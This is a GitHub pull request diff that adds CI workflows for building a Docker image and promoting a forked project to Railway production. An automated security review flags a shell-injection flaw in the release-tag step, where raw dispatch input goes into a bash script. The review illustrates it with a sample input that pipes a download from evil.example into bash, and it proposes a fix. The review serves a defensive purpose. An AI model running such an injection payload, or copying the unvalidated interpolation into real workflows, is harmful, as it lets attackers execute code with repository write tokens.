Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
16 commits
Select commit Hold shift + click to select a range
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
54 changes: 54 additions & 0 deletions .github/workflows/build-image.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
name: Build Image

# Reusable build: builds docker/Dockerfile for linux/amd64 and pushes it to GHCR
# under every tag the caller supplies.
#
# Centralized here so there is exactly one build definition. publish-docker.yml
# (tip + commit SHA on every push to main) and promote-production.yml (vX.Y.Z +
# latest on promotion) both call this instead of each keeping their own copy of
# the build steps, so a release image is guaranteed to come from the same
# Dockerfile/build steps as a tip image, never a second, potentially-drifted one.

on:
workflow_call:
inputs:
tags:
description: "Newline-separated full image refs to tag and push, e.g. ghcr.io/org/repo:v1.2.3"
required: true
type: string

permissions:
contents: read
packages: write

jobs:
build:
name: Build & push (linux/amd64)
runs-on: ubuntu-24.04
steps:
- name: Checkout
uses: actions/checkout@v7
with:
persist-credentials: false

- name: Log in to GHCR
uses: docker/login-action@v4
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3

- name: Build and push
uses: docker/build-push-action@v6
with:
context: .
file: docker/Dockerfile
platforms: linux/amd64
push: true
tags: ${{ inputs.tags }}
provenance: false
cache-from: type=gha
cache-to: type=gha,mode=max
118 changes: 0 additions & 118 deletions .github/workflows/pr-maintainer-edits.yml

This file was deleted.

170 changes: 170 additions & 0 deletions .github/workflows/promote-production.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,170 @@
name: Promote to Production

# Cut (or reuse) a semver release for main's current tip, build that exact commit
# as joystream-vX.Y.Z + latest, and deploy it to the Railway production service.
# This is the only path that ships to production — see docs/joystream-deployment.md.
#
# Tags are prefixed `joystream-v`, not plain `v`: this repo is a fork of
# oomol-lab/open-connector, whose own release history already occupies the
# plain `v*` tag namespace (v1.0.0..v1.3.3 as of this writing) and will keep
# growing as upstream is merged in. A plain `vX.Y.Z` scheme would eventually
# collide with — or worse, silently get "reused" as — an upstream release tag
# that happens to share the same number but points at a different commit.
#
# Promotion is by commit, not "whatever main happens to be": the release always
# tags main's tip at the moment this workflow runs. Before running it, confirm
# the commit currently deployed to staging is the one you intend to ship — there
# is no automated check for that yet.
#
# Every step is idempotent (reuses an existing tag/release for the resolved
# version rather than erroring), so a partially-failed run can just be re-run.

on:
workflow_dispatch:
inputs:
version:
description: "Release tag (e.g. joystream-v1.5.0). Blank = auto-bump patch of latest joystream-v* tag."
type: string
required: false

permissions:
contents: write
packages: write

concurrency:
group: promote-production
cancel-in-progress: false

jobs:
release:
name: Tag + create release
runs-on: ubuntu-24.04
outputs:
tag: ${{ steps.ver.outputs.tag }}
steps:
- name: Checkout main (full history + tags)
uses: actions/checkout@v7
with:
ref: main
fetch-depth: 0
fetch-tags: true
token: ${{ github.token }}

- name: Configure git identity
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"

- name: Resolve release tag
id: ver
run: |
MAIN=$(git rev-parse origin/main)

# Recovery: if a joystream-v* tag already points at main's tip, reuse
# it instead of cutting a duplicate — unless an explicit version was
# requested. Prefixed to avoid colliding with upstream's own v* tags.
EXISTING=$(git tag --points-at "$MAIN" 'joystream-v*' | head -1)
IN="${{ inputs.version }}"

if [ -n "$IN" ]; then
TAG="$IN"
elif [ -n "$EXISTING" ]; then
echo "main is already tagged $EXISTING — reusing it."
TAG="$EXISTING"
else
LATEST=$(git tag --list 'joystream-v*' --sort=-v:refname | head -1)
LATEST=${LATEST:-joystream-v0.0.0}
BASE=${LATEST#joystream-v}; BASE=${BASE%%-*}
IFS='.' read -r MA MI PA <<< "$BASE"
TAG="joystream-v${MA:-0}.${MI:-0}.$(( ${PA:-0} + 1 ))"
fi

echo "tag=$TAG" >> "$GITHUB_OUTPUT"
echo "sha=$MAIN" >> "$GITHUB_OUTPUT"
echo "Release tag: $TAG ($MAIN)"
Comment on lines +58 to +84

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
# Description: Find other run: steps that interpolate untrusted expressions directly instead of via env:.
fd -e yml -e yaml . .github/workflows --exec rg -n -B2 -A2 '\$\{\{\s*(inputs|github\.event)\.' {}

Repository: oomol-lab/open-connector

Length of output: 565


🏁 Script executed:

#!/bin/bash
set -u

echo "== promote-production workflow relevant lines =="
sed -n '1,120p' .github/workflows/promote-production.yml | cat -n

echo
echo "== output tag steps =="
rg -n 'steps\.ver\.outputs|joystream-v|RELEASE|tag=' .github/workflows/promote-production.yml

echo
echo "== workflow triggers and permissions =="
sed -n '1,45p' .github/workflows/promote-production.yml

Repository: oomol-lab/open-connector

Length of output: 8213


🏁 Script executed:

#!/bin/bash
set -u

python3 - <<'PY'
value = 'x"; curl evil.example | bash #'
print(value in f'IN="{value}"')
PY

Repository: oomol-lab/open-connector

Length of output: 167


Fix the shell-injection risk in the release-tag resolution step.

IN="${{ inputs.version }}" splices the raw workflow_dispatch input directly into the run script before bash parses it. A version value containing shell metacharacters, such as x"; curl evil.example | bash #, executes as part of this step. This job holds contents: write and packages: write, and uses github.token without persist-credentials: false, so crafted input can run commands with that access.

Pass inputs.version through env: and validate it as joystream-vX.Y.Z before use. This also avoids a value containing \nkey=value from injecting extra $GITHUB_OUTPUT keys.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/promote-production.yml around lines 58 - 84, Update the
“Resolve release tag” step to pass the workflow input through the step’s env
block instead of interpolating it into the shell script. Validate the env value
before assigning TAG, accepting only the joystream-vX.Y.Z format, and reject
invalid non-empty values; preserve the existing reuse and auto-increment paths
when no explicit version is provided. Ensure only the validated tag is written
to GITHUB_OUTPUT.


- name: Create and push tag
run: |
TAG="${{ steps.ver.outputs.tag }}"
if git rev-parse -q --verify "refs/tags/$TAG" >/dev/null; then
echo "$TAG already exists — skipping tag creation."
else
git tag -a "$TAG" "${{ steps.ver.outputs.sha }}" -m "Production release $TAG"
git push origin "$TAG"
fi

- name: Create GitHub Release
env:
GH_TOKEN: ${{ github.token }}
run: |
TAG="${{ steps.ver.outputs.tag }}"
if gh release view "$TAG" >/dev/null 2>&1; then
echo "Release $TAG already exists — skipping."
else
gh release create "$TAG" --target "${{ steps.ver.outputs.sha }}" --title "$TAG" --generate-notes
fi

build:
name: Build & push release image
needs: release
uses: ./.github/workflows/build-image.yml
with:
tags: |
ghcr.io/${{ github.repository }}:${{ needs.release.outputs.tag }}
ghcr.io/${{ github.repository }}:latest

deploy:
name: Deploy to Railway production
needs: [release, build]
runs-on: ubuntu-24.04
env:
RAILWAY_API_TOKEN: ${{ secrets.RAILWAY_API_TOKEN }}
SERVICE_ID: ${{ vars.RAILWAY_PRODUCTION_SERVICE_ID }}
ENVIRONMENT_ID: ${{ vars.RAILWAY_PRODUCTION_ENVIRONMENT_ID }}
IMAGE: ghcr.io/${{ github.repository }}:${{ needs.release.outputs.tag }}
steps:
# serviceInstanceUpdate writes config only — it does not deploy anything.
- name: Point production at the release image
run: |
response=$(curl -sf -X POST https://backboard.railway.com/graphql/v2 \
-H "Authorization: Bearer $RAILWAY_API_TOKEN" \
-H "Content-Type: application/json" \
-d "$(jq -n \
--arg serviceId "$SERVICE_ID" \
--arg environmentId "$ENVIRONMENT_ID" \
--arg image "$IMAGE" \
'{
query: "mutation($serviceId: String!, $environmentId: String!, $image: String!) { serviceInstanceUpdate(serviceId: $serviceId, environmentId: $environmentId, input: { source: { image: $image } }) }",
variables: { serviceId: $serviceId, environmentId: $environmentId, image: $image }
}')")
echo "$response"
if echo "$response" | jq -e '.errors' >/dev/null 2>&1; then
echo "::error::Railway API rejected serviceInstanceUpdate: $response"
exit 1
fi

# serviceInstanceUpdate alone does not trigger a deploy; this does.
- name: Trigger deploy
run: |
response=$(curl -sf -X POST https://backboard.railway.com/graphql/v2 \
-H "Authorization: Bearer $RAILWAY_API_TOKEN" \
-H "Content-Type: application/json" \
-d "$(jq -n \
--arg serviceId "$SERVICE_ID" \
--arg environmentId "$ENVIRONMENT_ID" \
'{
query: "mutation($serviceId: String!, $environmentId: String!) { serviceInstanceDeployV2(serviceId: $serviceId, environmentId: $environmentId) }",
variables: { serviceId: $serviceId, environmentId: $environmentId }
}')")
echo "$response"
if echo "$response" | jq -e '.errors' >/dev/null 2>&1; then
echo "::error::Railway API rejected serviceInstanceDeployV2: $response"
exit 1
fi

- name: Summary
run: |
echo "### Promoted to production :rocket:" >> "$GITHUB_STEP_SUMMARY"
echo "" >> "$GITHUB_STEP_SUMMARY"
echo "- Tag: \`${{ needs.release.outputs.tag }}\`" >> "$GITHUB_STEP_SUMMARY"
echo "- Image: \`$IMAGE\`" >> "$GITHUB_STEP_SUMMARY"
Loading
Loading